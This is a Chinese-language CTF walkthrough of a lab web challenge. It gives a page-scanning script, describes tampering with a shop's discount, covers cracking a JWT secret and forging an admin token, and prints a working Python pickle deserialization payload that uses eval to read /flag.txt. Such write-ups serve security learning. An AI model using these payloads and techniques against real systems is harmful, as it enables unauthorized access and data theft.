D~DIDI~DIDIDI!!!!

0%

1Kun

这道题也是我在攻防世界中看到的,但是作为一个合格的ikun(手动滑稽.jpg),肯定要单独拿出来啊2333333

1

Kunkun!!!!!!!(破音)

按题目要求需要买6级,下面翻了好多页都没看到lv6

2

写个脚本安排上

1
2
3
4
5
6
import requests
for i in range(1,500):
r = requests.get("http://111.198.29.45:47011/shop?page=" + str(i))
if "lv6.png" in r.text:
print(i)
break

跑出来在181页上,加个购物车,改个优惠额度,成功买下

3

买下后进入了一个新的页面,提示需要admin才能访问

4

在cookie中发现有JWT

5

6

相关知识:https://www.jianshu.com/p/576dbf44b2ae

header和payload部分可以通过base64直接解出来,第三个部分signature部分是由header和payload的base64拼接并按照header中的加密方式加盐得到的,所以这里需要去找到密钥是啥

7

利用工具进行爆破,得到密钥1kun

https://github.com/brendan-rius/c-jwt-cracker

8

然后构造admin的JWT

https://jwt.io/ 这个网站可以很方便的进行测试

9

构造好后成功进入该页面,在源代码中找到了提示

10

11

下载之后,代码审计,在admin.py中存在反序列化

12

这里的序列化参数become,发现其实在页面中有个隐藏输入框,是可以提交become参数的只要取消hidden属性就可以了

13

接下来生成一个payload,运行得到需要的become

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

14
突发觉得还是做一个沙雕快乐,毕竟只是个five啊
emmm